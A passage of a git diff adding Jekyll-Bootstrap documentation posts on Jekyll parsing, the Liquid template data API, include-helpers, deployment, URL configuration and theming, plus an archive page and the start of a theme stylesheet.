mouth we are going to +suck it up and view it as an opportunity to work around limitations and adopt client-side solutions when possible. + +**Aside** +My personal stance is to not invest time trying to hack liquid. It's really unnecessary +_from a programmer's_ perspective. That is to say if you have the ability to run custom plugins (i.e. run arbitrary ruby code) +you are better off sticking with ruby. Toward that end I've built [Mustache-with-Jekyll](http://github.com/plusjade/mustache-with-jekyll) + + +## Static Assets + +Static assets are any file in the root or non-underscored subfolders that are not pages. +That is they have no valid YAML Front Matter and are thus not treated as Jekyll Pages. + +Static assets should be used for images, css, and javascript files. + + + + +## How Jekyll Parses Files + +Remember Jekyll is a processing engine. There are two main types of parsing in Jekyll. + +- **Content parsing.** + This is done with textile or markdown. +- **Template parsing.** + This is done with the liquid templating language. + +And thus there are two main types of file formats needed for this parsing. + +- **Post and Page files.** + All content in Jekyll is either a post or a page so valid posts and pages are parsed with markdown or textile. +- **Template files.** + These files go in `_layouts` folder and contain your blogs **templates**. They should be made in HTML with the help of Liquid syntax. + Since include files are simply injected into templates they are essentially parsed as if they were native to the template. + +**Arbitrary files and folders.** +Files that _are not_ valid pages are treated as static content and pass through +Jekyll untouched and reside on your blog in the exact structure and format they originally existed in. + +### Formatting Files for Parsing. + +We've outlined the need for valid formatting using **YAML Front Matter**. +Templates, posts, and pages all need to provide valid YAML Front Matter even if the Matter is empty. +This is the only way Jekyll knows you want the file processed. + +YAML Front Matter must be prepended to the top of template/post/page files: + + --- + layout: post + category : pages + tags : [how-to, jekyll] + --- + + ... contents ... + +Three hyphens on a new line start the Front-Matter block and three hyphens on a new line end the block. +The data inside the block must be valid YAML. + +Configuration parameters for YAML Front-Matter is outlined here: +[A comprehensive explanation of YAML Front Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) + +#### Defining Layouts for Posts and Templates Parsing. + +The `layout` parameter in the YAML Front Matter defines the template file for which the given post or template should be injected into. +If a template file specifies its own layout, it is effectively being used as a `sub-template.` +That is to say loading a post file into a template file that refers to another template file with work in the way you'd expect; as a nested sub-template. + + + + + +## How Jekyll Generates the Final Static Files. + +Ultimately, Jekyll's job is to generate a static representation of your website. +The following is an outline of how that's done: + +1. **Jekyll collects data.** + Jekyll scans the posts directory and collects all posts files as post objects. It then scans the layout assets and collects those and finally scans other directories in search of pages. + +2. **Jekyll computes data.** + Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one + big `site` object that holds all the posts, pages, layouts, and respective metadata. + At this stage your site is one big computed ruby object. + +3. **Jekyll liquifies posts and templates.** + Next jekyll loops through each post file and converts (through markdown or textile) and **liquifies** the post inside of its respective layout(s). + Once the post is parsed and liquified inside the the proper layout structure, the layout itself is "liquified". + **Liquification** is defined as follows: Jekyll initiates a Liquid template, and passes a simpler hash representation of the ruby site object as well as a simpler + hash representation of the ruby post object. These simplified data structures are what you have access to in the templates. + +3. **Jekyll generates output.** + Finally the liquid templates are "rendered", thereby processing any liquid syntax provided in the templates + and saving the final, static representation of the file. + +**Notes.** +Because Jekyll computes the entire site in one fell swoop, each template is given access to +a global `site` hash that contains useful data. It is this data that you'll iterate through and format +using the Liquid tags and filters in order to render it onto a given page. + +Remember, in Jekyll you are an end-user. Your API has only two components: + +1. The manner in which you setup your directory. +2. The liquid syntax and variables passed into the liquid templates. + +All the data objects available to you in the templates via Liquid are outlined in the **API Section** of Jekyll-Bootstrap. +You can also read the original documentation here: <https://github.com/mojombo/jekyll/wiki/Template-Data> + +## Conclusion + +I hope this paints a clearer picture of what Jekyll is doing and why it works the way it does. +As noted, our main programming constraint is the fact that our API is limited to what is accessible via Liquid and Liquid only. + +Jekyll-bootstrap is intended to provide helper methods and strategies aimed at making it more intuitive and easier to work with Jekyll =) + +**Thank you** for reading this far. + +## Next Steps + +Please take a look at [{{ site.categories.api.first.title }}]({{ site.categories.api.first.url }}) +or jump right into [Usage]({{ site.categories.usage.first.url }}) if you'd like. \ No newline at end of file diff --git a/_posts/core-samples/api/2011-11-27-theme-api.md b/_posts/core-samples/api/2011-11-27-theme-api.md new file mode 100644 index 0000000..c754907 --- /dev/null +++ b/_posts/core-samples/api/2011-11-27-theme-api.md @@ -0,0 +1,10 @@ +--- +layout : post +categories : api +tags : api +--- + +The Jekyll Bootstrap Theme API documents how themes should be formatted +in order to be plugged into jekyll-bootstrap. + +## Philosophy diff --git a/_posts/core-samples/api/2011-11-28-bootstrap-api.md b/_posts/core-samples/api/2011-11-28-bootstrap-api.md new file mode 100644 index 0000000..bfdb5c0 --- /dev/null +++ b/_posts/core-samples/api/2011-11-28-bootstrap-api.md @@ -0,0 +1,65 @@ +--- +layout : post +categories : api +tags : api +--- + +The Jekyll Bootstrap API consists of custom includes and development +strategies meant to provide a more modular and sensible coding experience +when working with Liquid and Jekyll. + +## Philosophy + +Jekyll-bootstrap uses an 'include' helper strategy to encapsulate frequently used +code logic. This makes for more modular and DRY code. + +The 'include' helper is the same concept as rails' view helper modules, +just obviously much more constrained due to Liquid. + +## Include-helper Strategy + +### Define a new "method" + +The include helper strategy is meant to emulate a ruby method. +First encapsulate your liquid code logic in a Jekyll include file. +example: `helpers/tags_list.html` which is a helper to list tags and their total counts. + +{% capture text %}|.% for tag in tags_list %.| + <li><a href="|.{ site.var.tags_path }.||.{ tag[0] }.|-ref">|.{ tag[0] }.| <span>|.{tag[1].size}.|</span></a></li> +|.% endfor %.| + +|.% assign tags_list = null %.|{% endcapture %} +{% include helpers/liquid_raw.html %} + +In order to emulate passing arguments to the method, your include should reference localized variables whenever possible. +Now we can pass in arguments by defining the local variables immediately before calling the include file: + +### Invoking the Method. + +{% capture text %}<ul> + |.% assign tags_list = site.tags %.| + |.% include helpers/tags_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +You can define as many "arguments" as you want, just remember to nullify them all at the end of your include to preserve modularity. + +### Gotchas + +In Liquid, it is impossible to inline assign a variable to anything other than a string. +This means you can't pass in arrays, hashes, etc. +However, as shown above, you can pass-by-reference, and assign local variables to variables that already exist. + +So to pass in data-structures, you need to define them in your YAML Front Matter, or \_config.html file first, then pass them in by reference. + +## Contibuting + +If you have a good idea for another helper, please follow the outlines above, +then submit a pull request to [Jekyll-Bootstrap](http://github.com/plusjade/jekyll-bootstrap) and I'll include it. + +## Current Jekyll-Bootstrap Helpers + +<ul> + {% assign pages_list = site.categories.helpers %} + {% include helpers/pages_list.html %} +</ul> diff --git a/_posts/core-samples/api/2011-11-29-jekyll-liquid-api.md b/_posts/core-samples/api/2011-11-29-jekyll-liquid-api.md new file mode 100644 index 0000000..ac1bafd --- /dev/null +++ b/_posts/core-samples/api/2011-11-29-jekyll-liquid-api.md @@ -0,0 +1,38 @@ +--- +layout : post +categories : api +tags : api +--- + +Here we'll get familiar with the Liquid syntax and learn about all the methods and logic available to us. + +## Introduction + +Jekyll uses the standard Liquid templating language package and includes a few other helpful extensions of its own. + +Jekyll-bootstrap does not support plugin development so only the standard filters and logic will be available to us. + +Remember we are the end-users! + +## Liquid Crash Course + +The following link contains a comprehensive course in everything available in Liquid. +The standard library is also available in Jekyll. + +<http://github.com/Shopify/liquid/wiki/Liquid-for-Designers> + +## Liquid Extensions Provided With Jekyll + +Jekyll introduces a few other filters and tags as outlined here: + +<http://github.com/mojombo/jekyll/wiki/Liquid-Extensions> + +## Examples + +Finally we take a look out the included helper examples and their source to see +how we can display our post and site information in a more strategic manner. + +<ul> +{% assign pages_list = site.categories.helpers %} +{% include helpers/pages_list.html %} +</ul> diff --git a/_posts/core-samples/api/2011-11-30-template-data-api.md b/_posts/core-samples/api/2011-11-30-template-data-api.md new file mode 100644 index 0000000..a12b597 --- /dev/null +++ b/_posts/core-samples/api/2011-11-30-template-data-api.md @@ -0,0 +1,172 @@ +--- +layout : post +categories : api +tags : [templating, liquid] +--- + +The Template data API is a comprehensive list of all data accessible in templates through using the Liquid templating language. +The next lesson will focus on [accessing Jekyll data via Liquid]({{page.previous.url}}) + +## Global Page/Post Data + +Every content file that Jekyll processes is either a page or a post. +In both cases the data relative to the specific page or post being rendered +within the template is accessible through the `page` variable. +The page variable is a globally accessible variable available to all templates, posts, pages, and includes being rendered +for the given post/page instance. + + + /* The following format represents a Jekyll::Post or Jekyll::Page object. Jekyll::Post and Jekyll::Page objects may be nested in other variables in which case you can expect this same format: */ + page = { + "layout"=>"post", + "categories"=>["lessons"], + "title"=>"Jekyll Liquid Api", + "url"=>"/lessons/jekyll-liquid-api.html", + "date"=>2011-01-27 00:00:00 -0800, + "id"=>"/lessons/jekyll-liquid-api", + "next"=> #Jekyll:Post @id="/lessons/template-data-api", + "previous"=> #Jekyll:Post @id="/lessons/configuring-urls", + "tags"=>["tagname1", "tagname2"], + "custom_variable"=> ["a", "custom", "defined", "data-structure"], + "content"=>"... this is the unparsed raw html page/post content ..." + } + + +### Setting Custom Data + +You can set custom variables through the post or page Yaml Front matter and they will be included +in the page hash. + +One important thing to note is that each Jekyll "rendering" instance is treating as a page/post object. +ALL YAML Front matter is merged into the current page/post instance. +So if you define custom data in the post file, then define custom data in the sub-template, +and also in the root template, all data will merge into the same page hash. + + +## Content Data + +Jekyll uses a special variable named `content` to refer to the current page/post content. + +The difference between `content` and `page.content` is the former is parsed with markdown or textile while the latter is raw. + +The `content` variable is only accessible in template files and include files provided the include is included into a template. + +### Content in Primary Templates. + +When calling `content` in a primary template the content includes any sub-templates +previously rendered by the page/post. + +### Content in Sub-Templates. + +When calling `content` in a sub-template `content` includes any sub-sub-templates +previously rendered by the page/post. If there are none, `content` just reflects +the page/post as processed by markdown or textile. + + +## Global Site Data + +This data is available anywhere liquid is available. This includes templates, posts, pages, and includes. + + + site = { + "related_posts"=> + [...(Array of liquified Jekyll::Post objects)...], + "safe"=>false, + "auto"=>true, + "server"=>true, + "server_port"=>4000, + "source"=>"/Users/jade/Dropbox/github/jekyll-bootstrap", + "destination"=>"/Users/jade/Dropbox/github/jekyll-bootstrap/_site", + "plugins"=>"/Users/jade/Dropbox/github/jekyll-bootstrap/_plugins", + "future"=>true, + "lsi"=>false, + "pygments"=>false, + "markdown"=>"maruku", + "permalink"=>"/:categories/:title.html", + "markdown_ext"=>"markdown,mkd,mkdn,md", + "textile_ext"=>"textile", + "maruku"=> + { + "use_tex"=>false, + "use_divs"=>false, + "png_engine"=>"blahtex", + "png_dir"=>"images/latex", + "png_url"=>"/images/latex" + }, + "rdiscount"=> + { + "extensions"=>[] + }, + "redcarpet"=> + { + "extensions"=>[] + }, + "kramdown"=> + { + "auto_ids"=>true, + "footnote_nr"=>1, + "entity_output"=>"as_char", + "toc_levels"=>"1..6", + "use_coderay"=>false, + "coderay"=> + { + "coderay_wrap"=>"div", + "coderay_line_numbers"=>"inline", + "coderay_line_number_start"=>1, + "coderay_tab_width"=>4, + "coderay_bold_every"=>10, + "coderay_css"=>"style" + } + }, + "time"=>2011-12-20 14:03:53 -0800, + "posts"=> + [...(Array of liquified Jekyll::Post objects)...], + "pages"=> + [...(Array of liquified Jekyll::Page objects)...], + "html_pages"=> + [...(Array of liquified Jekyll::Page objects)...], + "categories"=> + {"examples"=> + [...(Array of liquified Jekyll::Post objects)...], + "lessons"=> + [...(Array of liquified Jekyll::Post objects)...], + "tags"=> + { + "permalinks"=> + [...(Array of liquified Jekyll::Post objects)...], + "urls"=> + [...(Array of liquified Jekyll::Post objects)...], + "templating"=> + [...(Array of liquified Jekyll::Post objects)...], + "liquid"=> + [...(Array of liquified Jekyll::Post objects)...], + "posts"=> + [...(Array of liquified Jekyll::Post objects)...] + } + } + + + +### Sitewide Custom Data + +Set sitewide custom data using the config file. + +Variables held in the config file get merged into the site variable. + + + + + +## Categories + +Categories may only be applied to posts and are available on a per-post basis as well as aggregated +in a sitewide global variable, i.e. all categories available for the website. + +When iterating over categories the order is alpha descending + +## Tags + +Tags may only be applied to posts and are available on a per-post basis as well as aggregated +in a sitewide global variable, i.e. all tags available for the website. + +When iterating over tags the order is alpha descending. diff --git a/_posts/core-samples/helpers/2011-9-27-posts-collate.md b/_posts/core-samples/helpers/2011-9-27-posts-collate.md new file mode 100644 index 0000000..299f6cb --- /dev/null +++ b/_posts/core-samples/helpers/2011-9-27-posts-collate.md @@ -0,0 +1,34 @@ +--- +layout : post +categories : helpers +--- + +The posts collate helper organizes and lists posts in month/year clusters. +The posts collate helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. + +## Usage + +### Collate All Posts in Reverse Chronological Order + +By default all posts are organized in reverse-chronological order - newest to oldest. + +{% capture text %}|.% assign posts_collate = site.posts %.| +|.% include helpers/posts_collate.html %.|{% endcapture %} +{% include helpers/liquid_raw.html %} + + +### Collate a Sub-Set of Posts + +To collate a sub-set of posts, just pass in the sub-set. +Bellow, only posts tagged "jekyll" will be collated: + +{% capture text %}|.% assign posts_collate = site.tags.jekyll %.| +|.% include helpers/posts_collate.html %.|{% endcapture %} +{% include helpers/liquid_raw.html %} + + +## Source + +The source code is available at: + + ./_includes/helpers/posts_collate.html diff --git a/_posts/core-samples/helpers/2011-9-28-categories-list.md b/_posts/core-samples/helpers/2011-9-28-categories-list.md new file mode 100644 index 0000000..a831980 --- /dev/null +++ b/_posts/core-samples/helpers/2011-9-28-categories-list.md @@ -0,0 +1,49 @@ +--- +layout : post +categories : helpers +--- + +The categories list helper provides a convenient way to list categories. +The categories list helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. + +## Usage + +### List Sitewide Categories + +List site-wide categories by passing in the `site.categories` variable: + +{% capture text %}<ul> + |.% assign categories_list = site.categories %.| + |.% include helpers/categories_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +### List Categories for a Specific Post + +You can also list categories specific to a post: + +{% capture text %}<ul> + |.% assign categories_list = page.categories %.| + |.% include helpers/categories_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +### List Categories Per Post Iteratively + +Finally let's iterate through all posts: + +{% capture text %}|.% for post in site.posts %.| + <h3>Categories for: |.{post.title}.|</h3> + <ul> + |.% assign categories_list = post.categories %.| + |.% include helpers/categories_list.html %.| + </ul> +|.% endfor %.|{% endcapture %} +{% include helpers/liquid_raw.html %} + + +## Source + +The source code is available at: + + ./_includes/helpers/categories_list.html \ No newline at end of file diff --git a/_posts/core-samples/helpers/2011-9-29-pages-list.md b/_posts/core-samples/helpers/2011-9-29-pages-list.md new file mode 100644 index 0000000..dcdc4e0 --- /dev/null +++ b/_posts/core-samples/helpers/2011-9-29-pages-list.md @@ -0,0 +1,43 @@ +--- +layout : post +categories : helpers +--- + +The pages list helper provides a convenient way to list pages. +The pages list helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. + +## Usage + +### List All Pages + +{% capture text %}<ul> + |.% assign pages_list = site.pages %.| + |.% include helpers/pages_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +### List Pages From a Sub-Group + +Pages cannot have categories. However we can setup a similar functionality +by manually associating a page to a "group". Do this in the page's yaml front matter: + + --- + layout: default + title: A Nice Title + group: project + --- + +You then pass the group name to the pages\_list helper: + +{% capture text %}<ul> + |.% assign pages_list = site.pages %.| + |.% assign group = 'project' %.| + |.% include helpers/pages_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +## Source + +The source code is available at: + + ./_includes/helpers/pages_list.html diff --git a/_posts/core-samples/helpers/2011-9-30-tags-list.md b/_posts/core-samples/helpers/2011-9-30-tags-list.md new file mode 100644 index 0000000..9ddaf53 --- /dev/null +++ b/_posts/core-samples/helpers/2011-9-30-tags-list.md @@ -0,0 +1,50 @@ +--- +layout : post +categories : helpers +--- + +The tag list helper lists tags and their total counts. +The tag list helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. + +## Usage + +### List Sitewide Tags + +You can list sitewide tags by passing in the `site.tags` variable: + +{% capture text %}<ul> + |.% assign tags_list = site.tags %.| + |.% include helpers/tags_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +### List Tags for a Specific Post + +You can also list tags specific to a post: + +{% capture text %}<ul> + |.% assign tags_list = page.tags %.| + |.% include helpers/tags_list.html %.| +</ul>{% endcapture %} +{% include helpers/liquid_raw.html %} + +### List Tags Per Post Iteratively + +Finally let's iterate through all posts: + +{% capture text %}|.% for post in site.posts %.| + <h3>Tags for: |.{post.title}.|</h3> + <ul> + |.% assign tags_list = post.tags %.| + |.% include helpers/tags_list.html %.| + </ul> +|.% endfor %.|{% endcapture %} +{% include helpers/liquid_raw.html %} + +## Source + +The source code is available at: + + ./_includes/helpers/tags_list.html + + diff --git a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md new file mode 100644 index 0000000..64bb0b4 --- /dev/null +++ b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md @@ -0,0 +1,36 @@ +--- +layout: page +categories : usage +--- + +Deploying a jekyll-based website comes in two flavors. +You can deploy to GitHub Pages or you can deploy to your own custom server. + +## Deploy Jekyll to GitHub Pages + +You can deploy Jekyll to your GitHub account and GitHub will parse your repo through Jekyll and host the result on username.github.com +This is very nice of GitHub and the most convenient strategy. +However you cannot extend jekyll via plugins with this version because GitHub will not run them for security reasons. + +[GitHub Pages](http://pages.github.com) provides a comprehension tutorial to deploying your Jekyll repository to GitHub Pages. + + +### Jekyll-Bootstrap is Built to Run on GitHub Pages. +<http://jekyllbootstrap.com> itself, is running via GitHub pages. +You can see that this website is also available at: <http://plusjade.github.com/jekyll-bootstrap>. + +If you follow the development practices outlined in Jekyll-bootstrap all you have to do is +clone the jekyll-bootstrap framework, clear out the posts and pages and add in your own content. +Then push this to github as per the [GitHub Pages](http://pages.github.com) tutorial. + +Please [contact me](http://plusjade.com) if you run into any trouble. + + +## Deploy Jekyll to Your Custom Server + +The main reason you'd want to host your website yourself is because you can then run custom plugins and customize Jekyll to your heart's content. + +Please see the original docs for [custom Jekyll deployment strategies](https://github.com/mojombo/jekyll/wiki/Deployment). + + + diff --git a/_posts/core-samples/usage/2011-10-29-configuring-urls.md b/_posts/core-samples/usage/2011-10-29-configuring-urls.md new file mode 100644 index 0000000..efc9140 --- /dev/null +++ b/_posts/core-samples/usage/2011-10-29-configuring-urls.md @@ -0,0 +1,26 @@ +--- +layout : post +categories : usage +tags : [permalinks, urls] +--- + +URL configuration is an important aspect of Jekyll as users usually require +total control over how links to their content are handled. Fortunately Jekyll provides extensive customization options as to how your permalinks will be generated: + +[Jekyll Permalinks](https://github.com/mojombo/jekyll/wiki/Permalinks) + +## Jekyll-Bootstrap's URL Configuration + +A peek into `_config.yml` notes that Jekyll-bootrap uses this configuration: + + permalink: /:categories/:title.html + + +This means any category specified on a post will be included within the url, followed by the post title. + +Traditionally a blog will namespace its post by date, for example: + + permalink: /:categories/:year/:month/:day/:title/ + + +Play around with what url configuration works best for you. \ No newline at end of file diff --git a/_posts/core-samples/usage/2011-10-30-jekyll-theming.md b/_posts/core-samples/usage/2011-10-30-jekyll-theming.md new file mode 100644 index 0000000..c22616d --- /dev/null +++ b/_posts/core-samples/usage/2011-10-30-jekyll-theming.md @@ -0,0 +1,31 @@ +--- +layout: post +categories : usage +--- + + +## Creating Your Layout + +Jekyll-bootstrap uses [twitter bootstrap](http://twitter.github.com/bootstrap) to provide the layout structure. +This is because I am not a designer. (designers please contribute themes to Jekyll-bootstrap!) + +To get up and running the fastest you might just take a peak at the twitter bootstrap design elements +and setup a quick template that you are happy with. + + +### Static Assets + +The `assets` folder follows a logical structure: +`css` folder contain css, `javascripts` folder contain javascript files etc. +You can link to these static assets following the logical directory path. + +### Create a Base Template + +The base template in Jekyll-bootstrap is at: `/_layouts/default.html` +You can see how the global layout is defined and how assets are linked to. + +### Create a Post Template + +The post template in Jekyll-bootstrap is at: `/_layouts/post.html` +This template is a sub-template that all posts refer to. You can see the post template defines +the default template its parent layout. diff --git a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md new file mode 100644 index 0000000..e09e07c --- /dev/null +++ b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md @@ -0,0 +1,81 @@ +--- +layout: post +categories : usage +--- + + +## 1. Install Jekyll-Bootstrap-Core + +[Install Jekyll-Bootsrap-Core](/index.html#start-now) if you haven't already. +Jekyll-bootstrap-core is a clean base framework for your blog. +It includes two themes, some useful pages, and bootstrap include-helpers. + +## 2. Run Jekyll Locally + +In order to preview your blog locally you'll need to install the jekyll gem. Note gem dependencies will also be installed. + + $ gem install jekyll + +If you run into a problem please consult the original [Jekyll installation documentation](https://github.com/mojombo/jekyll/wiki/Install). +You can also [contact me](http://github.com/plusjade) through github. + +Once the gem is installed you can navigate to your Jekyll-bootstrap-core directory +and run jekyll: + + $ cd jekyll-bootstrap + $ jekyll --server + +Your blog is now available at: [http://localhost:4000/](http://localhost:4000/). + + +## 2. Choose a Theme + +Jekyll-bootstrap-core has a basic theming system that I'll be steadily improving. +You can read about how to choose and customize a theme in the [Theming](/usages/theming.html) section. + +## 3. Create Some Content + +### Create a Post + +Create a file with valid date and title in the filename and place it into the `_posts` folder. +Jekyll-bootstrap provides many post files for you to copy from to better understand the formatting requirements. + +### Create a Page + +Create a file anywhere in the root directory, for example `/about.md` and remember to provide +valid YAML Front Matter so Jekyll recognizes the file as a page. + +Jekyll-bootstrap provides many page examples for reference. +You can study the source and customize it for your own needs. + +<ul> +{% assign pages_list = site.pages %} +{% assign group = "example-page" %} +{% include helpers/pages_list.html %} +</ul> + + +## 4. Publish + +After you've added posts or made changes to your theme or other files, simply commit them to your git repo and push the commits up to GitHub. + +A GitHub post-commit hook will automatically deploy your changes to your hosted blog. You will receive a success or failure notice for every commit you make to your blog. + +## 5. Customize + +Jekyll-bootstrap-core can be used as-is as a basic blogging platform with little need +to understand what's going on under the hood. + +However I'm betting you want to get your hands dirty. +The following outlines the deeper Jekyll-Bootstrap documentation. + +### Jekyll Introduction + +The [{{site.categories.lessons.first.title}}]({{site.categories.lessons.first.url}}) is meant for core understanding of how and why Jekyll works the way it does. +You must start with this in order to understand everything else in Jekyll-Bootstrap. + +### The API Section + +The API pages document main data-structures and design strategies used in Jekyll and Jekyll-Bootstrap. + + diff --git a/archive.html b/archive.html new file mode 100644 index 0000000..3e622e7 --- /dev/null +++ b/archive.html @@ -0,0 +1,9 @@ +--- +layout: page +title : Archive +header : Post Archive +group: example-page +--- + +{% assign posts_collate = site.posts %} +{% include helpers/posts_collate.html %} \ No newline at end of file diff --git a/assets/themes/mark-reid/css/screen.css b/assets/themes/mark-reid/css/screen.css new file mode 100644 index 0000000..494c382 --- /dev/null +++ b/assets/themes/mark-reid/css/screen.css @@ -0,0 +1,549 @@ +/* @override http://mark.reid.dev/files/css/screen.css */ + +/* @override + http://mark.reid.dev/files/css/screen.css + http://mark.reid.name/files/css/screen.css +*/ + +/* screen.css + * + * A clean, simple stylesheet that aims for + * a consistent vertical rhythm. + * + * Base font height: 16px + * Base line length: 24px + * + * AUTHOR: Mark Reid <mark@reid.name> + */ + +/* @group Reset */ +body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,p,blockquote,th,td,abbr { margin:0; padding:0;} +/* @end */ + +body { + font-family: Palatino, georgia, "times new roman", serif; + background-color: whitesmoke; + background-position: center -18em; + background-repeat: repeat-x; +} + +/* Hack via Joel Spolsky to make image rescaling nicer in IE */ +img { -ms-interpolation-mode:bicubic; } + +/* IE6 ignores this and uses default size of 16pt */ +html>body { font-size:16px; } +p { margin: 0 0 1.5em 0; text-align: justify; } + +a { text-decoration: none; color: #339; } +a:hover { text-decoration: underline; color: #33f; } +a.pdf:before { + margin-right: 1em; + content: url(/files/css/icon_pdf.gif); } + +h1,h2,h3,h4 { + line-height:1em; + font-size:1.5em; + font-weight: normal; + clear: left; + font-family: 'lucida grande', sans-serif; +} +h1 { margin-bottom: 1em; } +h2 { + font-size: 100%; + line-height: 1.5em; + margin:1.5em 0 1.5em 0; + font-weight:bold; +} + +hr { + border-top: 1px solid silver; + border-bottom: none; + padding: 0; + margin: 1.46em 0 0 0; +} + +sup { line-height: 1ex; } + +#site { + max-width: 46em; + margin: 1.5em auto 3em auto; + line-height:1.5em; +} + +#page, #disqus_thread { + background: white; +/* background-image: url(grid.png); */ + padding: 3em 3em 1.5em 3em; + border: 1px solid #ccc; +} + +/* More experimental CSS3 features */ +#page, #disqus_thread { + box-shadow: 2px 2px 8px #aaa; + -webkit-box-shadow: 2px 2px 8px #aaa; + -moz-box-shadow: 2px 2px 8px #aaa; +} + +#disqus_thread { padding-top: 0; } + +/* TODO +#page { counter-reset: section; } +#page h2:before { + margin-left: -3.5ex; + color: silver; + content: "§" counter(section) ". "; + counter-increment: section 2; +} +*/ + +/* @group FancyFirst */ +.emphnext + p:first-letter, p.emphfirst:first-letter { + font-size: 48px; + padding: 0 0.15em 0 0; + margin: 0.05em 0 -0.15em 0; + line-height: 1em; + float: left; +} + +.emphnext + p:first-line, p.emphfirst:first-line { + font-variant: small-caps; + font-size: larger; +} +/* @end */ + +.right { float: right; clear: left; } +.left { float: left; clear: right; } +.inset { + border: 1px solid silver; + padding: 2px; + margin: 0em 0.8em 0.8em 0.8em; +} +.right.inset { margin-right: 0 !important; } +.left.inset { margin-left: 0 !important; } +.quiet { + color: grey; + font-size: 0.875em; + line-height: 1.714em; +} +blockquote { + padding: 0 2.8em; + margin: 1.714em 0; + color: #444; + font-size: 0.875em; + line-height: 1.714em; +} + +.note { + padding-top: 0.5em; + background-color: #fafaff; + border-top: 1px solid silver; + border-bottom: 1px solid silver; +} +/* @group Table */ +table.neat { + width: 80%; + margin: 1.5em auto 1.5em auto; + table-layout: fixed; + border-spacing: 0; +} +table.neat tr { text-align: center; } +table.neat th { font-weight: normal; background-color: #eeeeee; } +table.neat td { background-color: white; } +table.neat th.title { border-bottom: 1px solid gray; border-top: 1px solid gray; vertical-align: bottom; background-color: lightgrey; } +caption { + color: #333; + font-size: 0.875em; + margin: 0.875em auto 0 auto; + line-height: 1.14em; + text-align: justify; +} + +/* @end */ + +/* @group Lists */ +ul { + margin-top: 1.5em; + margin-bottom: 1.5em; + line-height: 1.5em; + padding-left: 1.5em; +} +ul li { + list-style-type: square; + list-style-position: outside; +} +ol li { + list-style-type: decimal; + list-style-position: inside; +} +dt { font-weight: bold;} +dd { margin: 0 0 1.5em 0; text-align: justify; } + +ul.compact { margin: 0; padding: 0;} +ul.compact li { list-style: ; + list-style-type: square; + list-style-position: inside; +} +ul.compact li span.date { + display: none; + color: grey; + width: 20%; +} +ul.compact li a { + width: 70%; +} +/* @end */ + +/* @group Header */ +#header, #header a { color: silver; } +#header .hover { color: transparent; } +#header:hover a { color: black; text-shadow: #aaa 2px 2px 3px;} +#header:hover a:hover { text-decoration: none; } +#header a:hover .hover { color: silver; } +#header { + position: relative; + font-variant: small-caps; + line-height: 1em; + margin-top: .5em; + margin-bottom: 0; +} +#header h1 { + font-family: Palatino, georgia, "times new roman", serif; + margin-bottom: 0; + line-height: 0.9em; + display: block; + font-weight: normal; +} + +#header ul { + position: absolute; + top: 0; + right: 0; + font-size: 100%; + line-height: 1.6em; + display: block; + margin: 0; + width: 50%; + text-align: right; +} +#header ul li { display: inline; } +#header ul li a { + padding: 0.4em 0.3em 0 0.3em; + display: inline; +} +#header ul li a:hover { + color: blue; + border-bottom: 2px solid blue; +} +#header .byline { + color: silver; + font-size: 10pt; + line-height: 75% +} +#header:hover .byline a { color: silver; text-shadow: none; } +#header:hover .byline a:hover { color: black; text-shadow: #aaa 1px 1px 2px;} + +/* @group Twitter */ +#twitter_update_list { display: inline; margin: 0; } +#twitter_update_list li { display: inline; margin: 0;} +.twitter-title { display: inline; margin: 0; } +.twitter-title a { display: inline; } +/* @end */ + +body#Work #header a.work, +body#Home #header a.home, +body#Play #header a.play, +body#Info #header a.info, +body#Code #header a.code, +body#Past #header a.past, +body#Kith #header a.kith +{ + border-bottom: 2px solid silver; +} + +/* @end */ + +/* @group Footnotes */ +.footnotes { color: grey; } +.footnotes:hover { color: black; } +.footnotes ol li { + list-style-type: decimal; + list-style-position: inside; + font-size: 75%; + line-height: 1.5em; +} +.footnotes ol li > a { display: none; } +/* @end */ + +/* @group Sections */ +.section { + font-size: 87.5%; + line-height: 1.43em; + margin-bottom: 1.43em; + margin-top: 1.43em; + margin-left: 7.5em; + padding-right: 3em; +} +.section h1 { + font-family: Palatino, georgia, serif; + font-size: 100%; + line-height: 1.43em; + position: absolute; + width: 6em; + max-width: 6em; + margin-left: -7.5em; + font-weight: bold; + font-variant: small-caps; +} +.section p { margin-bottom: 1.43em; } + +/* @end */ + +.list .title { font-weight: bold; } +p.line { position: relative; margin: 0; } +p.excerpt { margin: 0; } +.comments { font-size: smaller; position: absolute; color: silver; right: 0; top: 0; } +.excerpt { color: black; } + +/* @group Signature */ +.signature { + margin-top: 3em; + position: relative; +} +.signature .author { + font-variant: small-caps; + font-style: normal; + color: black; + display: block; + margin-bottom: 1.5em; +} +.signature .date { + font-size: 87.5%; + line-height: 1.5em; + display: block; + font-variant: small-caps; + font-style: normal; + position: absolute; + right: 0; + top: 0; +} +.signature .location { + display: block; + font-size: 87.5%; + line-height: 1.5em; + position: absolute; + right: 0; + top: 1.5em; +} +/* @end */ + +/* @group Code */ +pre { + margin: 1em 0 1.5em 0; + font-size: 0.75em; /* Hack to make code look same size as body font */ + line-height: 1.5em; + color: #111; + background: #fffff0; + border: 1px solid #ddc; + padding: 0.5em 1em; + overflow: hidden; + + /* Experimental CSS3 stuff */ + box-shadow: 1px 1px 6px #ccc; + -webkit-box-shadow: 1px 1px 6px #ccc; + -moz-box-shadow: 1px 1px 6px 